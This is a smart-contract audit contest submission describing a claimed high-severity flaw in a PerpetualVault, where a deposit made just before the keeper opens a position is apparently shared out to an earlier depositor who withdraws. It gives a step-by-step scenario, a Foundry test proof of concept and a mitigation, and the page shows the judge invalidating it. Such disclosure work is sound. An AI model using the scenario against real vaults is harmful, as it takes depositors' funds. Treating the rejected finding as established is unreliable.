DeFiFoundry
50,000 USDC
View results
Submission Details
Severity: high
Invalid

[H-3] Users will lose a portion of their collateral if they deposit just before a Position is opened

Description

Users can call PerpetualVault::deposit function when the Position is closed to directly deposit their collateral Tokens and receive shares but during a bull run or a similar scenario where the number of deposits is high there is a definite possibility that when keeper opens a position a users deposit transaction also goes in at the same time but just before keepers call i.e, The keeper's swapdata doesn't include the deposit of the user.

Now if any other user calls withdraw (considering that they have been holding their collateral way past the lock time) before the keepers run call then they can steal a good chunk of the other users collateral tokens.

The Deposits which require the keeper to call run again are essentially simulated as profits in the contract and everyone gets a share in them if they withdraw before the keeper calls run.

Impact

Users can lose a good portion of their collateral if they deposit when a position is being opened this can happen without any malicious intents as well

Proof of Concept

Attack Scenario:

  1. Alice Deposits 2e10 collateral tokens

  2. Keeper Opens a Position

  3. Keeper Closes the position after a few days (Lock time of alice passed by this time)

  4. keeper decides to open a position again

  5. Alice deposits 2e10 collateral tokens are in the vault
    5.5 Bob calls deposit with 1e10 collateral tokens at same time as step 6

  6. Keeper calls run to open a position (with 2e10 as swapdata as bob's deposit isn't present at the time of generating swapdata)

  7. Position is opened with 2e10 collateral tokens swapped as Index and 1e10 collateral is in the vault

  8. Now Alice calls withdraw and keeper calls withdraw with swapdata index token balance of vault i.e (since alice is the only depositor in long all Index Tokens beling to her)

  9. Alice gets a withdrawal of 2.65e10 collateral tokens

  10. Bob is left with 0.33 e10 collateral tokens

Note: Paste the Test Below in PerpetualVault.t.sol , run it with -vv option to view the logs

  1. The Test below requires the PerpetualVaultTest::depositFixture testing helper function to include the following line , for withdrawal and consecutive deposit executions

vm.deal(user, executionFee * tx.gasprice);

and also add import {console} from "forge-std/console.sol"; in the test file

  1. In PerpetualVault::withdraw make the following change

- if (depositInfo[depositId].timestamp + lockTime >= block.timestamp) {
+ if (depositInfo[depositId].timestamp + lockTime > block.timestamp) {
revert Error.Locked();
}

we do this as we set lockTime to 0 before withdrawal to simulate locktimepassed and also to make a successful gmxExecute within the same block (ease of use instead of generating a oracle params )

function testRevertInWithdraw() public {
//Initial Deposit and open position step 1 & 2
address keeper = PerpetualVault(vault).keeper();
address alice = makeAddr("alice");
depositFixture(alice, 2e10);
MarketPrices memory prices = mockData.getMarketPrices();
bytes[] memory swapData = new bytes[](1);
// bytes memory paraSwapData = mockData.getParaSwapData(vault);
// swapData[0] = abi.encode(PROTOCOL.DEX, paraSwapData);
address[] memory gmxPath = new address[](1);
gmxPath[0] = address(0x70d95587d40A2caf56bd97485aB3Eec10Bee6336);
uint256 minOutputAmount = 2e10 * prices.shortTokenPrice.min / prices.longTokenPrice.min * 95 / 100;
swapData[0] = abi.encode(PROTOCOL.GMX, abi.encode(gmxPath, 2e10, minOutputAmount));
vm.prank(keeper);
PerpetualVault(vault).run(true, true, prices, swapData);
assertEq(PerpetualVault(vault).isLock(), true);
GmxOrderExecuted(true);
assertEq(uint8(PerpetualVault(vault).flow()), 0);
assertEq(PerpetualVault(vault).positionIsClosed(), false);
console.log("----------");
console.logBool(PerpetualVault(vault).beenLong());
console.log("----------");
(PerpetualVault.NextActionSelector selector,) = PerpetualVault(vault).nextAction();
assertEq(uint8(selector), 0);
console.log("Log Begin :", ERC20(address(PerpetualVault(vault).indexToken())).balanceOf(address(vault)));
console.log(
"Collateral Token begin :", IERC20(PerpetualVault(vault).collateralToken()).balanceOf(address(vault))
);
console.log("total shares_ Begin:", PerpetualVault(vault).totalShares());
// lock time passses
// // Close Position , step 3,4,5
gmxPath[0] = address(0x70d95587d40A2caf56bd97485aB3Eec10Bee6336);
address indexToken = PerpetualVault(vault).indexToken();
uint256 indexTokenBalance = IERC20(indexToken).balanceOf(vault);
bytes[] memory newSwapData = new bytes[](1);
minOutputAmount = indexTokenBalance * prices.longTokenPrice.min / prices.shortTokenPrice.min * 95 / 100;
newSwapData[0] = abi.encode(PROTOCOL.GMX, abi.encode(gmxPath, indexTokenBalance, minOutputAmount));
vm.prank(keeper);
PerpetualVault(vault).run(false, true, prices, newSwapData);
GmxOrderExecuted(true);
vm.prank(keeper);
PerpetualVault(vault).runNextAction(prices, new bytes[](0));
assertEq(uint8(PerpetualVault(vault).flow()), 0);
assertEq(PerpetualVault(vault).positionIsClosed(), true);
console.log("----------");
console.logBool(PerpetualVault(vault).beenLong());
console.log("----------");
(selector,) = PerpetualVault(vault).nextAction();
assertEq(uint8(selector), 0);
console.log("Log End :", ERC20(address(PerpetualVault(vault).indexToken())).balanceOf(address(vault)));
console.log("Collateral Token End :", IERC20(PerpetualVault(vault).collateralToken()).balanceOf(address(vault)));
console.log("total shares_ End:", PerpetualVault(vault).totalShares());
// front-run keeper call , step 5.5
// we call it front-run to describe the scenario happening
// happens like a front run , not an intended or malicious front run but same scenario
address bob2 = makeAddr("bob2");
depositFixture(bob2, 1e10);
// open Position again , step 6,7
prices = mockData.getMarketPrices();
swapData = new bytes[](1);
// paraSwapData = mockData.getParaSwapData(vault);
// swapData[0] = abi.encode(PROTOCOL.DEX, paraSwapData);
gmxPath = new address[](1);
gmxPath[0] = address(0x70d95587d40A2caf56bd97485aB3Eec10Bee6336);
minOutputAmount = 19949550651 * prices.shortTokenPrice.min / prices.longTokenPrice.min * 95 / 100; // 5% slippage
swapData[0] = abi.encode(PROTOCOL.GMX, abi.encode(gmxPath, 19949550651, minOutputAmount));
vm.prank(keeper);
PerpetualVault(vault).run(true, true, prices, swapData);
assertEq(PerpetualVault(vault).isLock(), true);
GmxOrderExecuted(true);
console.log("Log open again :", ERC20(address(PerpetualVault(vault).indexToken())).balanceOf(address(vault)));
console.log(
"Collateral Token open again :", IERC20(PerpetualVault(vault).collateralToken()).balanceOf(address(vault))
);
console.log("total shares_ open again :", PerpetualVault(vault).totalShares());
// // // // // withdraw , step 8,9,10
// //changing lock time to 0 for testing
vm.prank(PerpetualVault(vault).owner());
PerpetualVault(vault).setLockTime(0);
//
vm.startPrank(alice);
uint256[] memory depositIds = PerpetualVault(vault).getUserDeposits(alice);
uint256 executionFee = PerpetualVault(vault).getExecutionGasLimit(false);
vm.deal(alice, executionFee * tx.gasprice);
PerpetualVault(vault).withdraw{value: executionFee * tx.gasprice}(alice, depositIds[0]);
(PerpetualVault.NextActionSelector selector1,) = PerpetualVault(vault).nextAction();
assertEq(uint8(selector1), 2);
assertEq(uint8(PerpetualVault(vault).flow()), 3);
vm.stopPrank();
prices = mockData.getMarketPrices();
swapData = new bytes[](1);
gmxPath = new address[](1);
gmxPath[0] = address(0x70d95587d40A2caf56bd97485aB3Eec10Bee6336);
indexToken = PerpetualVault(vault).indexToken();
indexTokenBalance = IERC20(indexToken).balanceOf(vault); //5880242300733750184
//uint256 indexTokenBalance = 5880242300733750184;
minOutputAmount = indexTokenBalance * prices.longTokenPrice.min / prices.shortTokenPrice.min * 95 / 100; // 5% slippage
// minOutputAmount = 0;
swapData[0] = abi.encode(PROTOCOL.GMX, abi.encode(gmxPath, indexTokenBalance, minOutputAmount));
vm.prank(PerpetualVault(vault).keeper());
PerpetualVault(vault).runNextAction(prices, swapData);
(PerpetualVault.NextActionSelector selector_,) = PerpetualVault(vault).nextAction();
//gmx order
GmxOrderExecuted(true);
assertEq(uint8(selector_), 0);
assertEq(uint8(PerpetualVault(vault).flow()), 0);
assertEq(PerpetualVault(vault).positionIsClosed(), false);
assertEq(uint8(PerpetualVault(vault).flow()), 0);
assertEq(PerpetualVault(vault).positionIsClosed(), false);
console.log("----------");
console.logBool(PerpetualVault(vault).beenLong());
console.log("----------");
(selector,) = PerpetualVault(vault).nextAction();
assertEq(uint8(selector), 0);
console.log(
"Log after Withdraw Index :", ERC20(address(PerpetualVault(vault).indexToken())).balanceOf(address(vault))
);
console.log(
"Log after Withdraw Collateral :",
IERC20(address(PerpetualVault(vault).collateralToken())).balanceOf(address(vault))
);
console.log(
"Alice Balance after Withdraw :",
IERC20(address(PerpetualVault(vault).collateralToken())).balanceOf(makeAddr("alice"))
);
console.log("total shares_ after Withdraw:", PerpetualVault(vault).totalShares());
}

Tools Used

Manual Review

Recommendations

A simple recommended mitigation for this scenario is to add a

require(depositPaused ,"Deposits not paused")

statement in the PerpetualVault::run function

Declare a new variable uint256 PausedBlockNumber
and in PerpetualVault::setDepositPaused function to set PausedBlockNumber to the current L2 block number if used in arbitrum and L1 block number if used in avalanche

and adding another check in PerpetualVault::run to check if the current block number (for arbitrum this will be L2 block number , refer to the documentation link provided above) is greater than PausedBlockNumber

This will ensure that no deposits will be accepted before opening a position within the same to the time when the keepers run transaction is executed.

Updates

Lead Judging Commences

n0kto Lead Judge 9 months ago
Submission Judgement Published
Invalidated
Reason: Lack of quality

Appeal created

codexbugmenot Submitter
9 months ago
codexbugmenot Submitter
9 months ago
n0kto Lead Judge
8 months ago
n0kto Lead Judge 8 months ago
Submission Judgement Published
Invalidated
Reason: Lack of quality

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!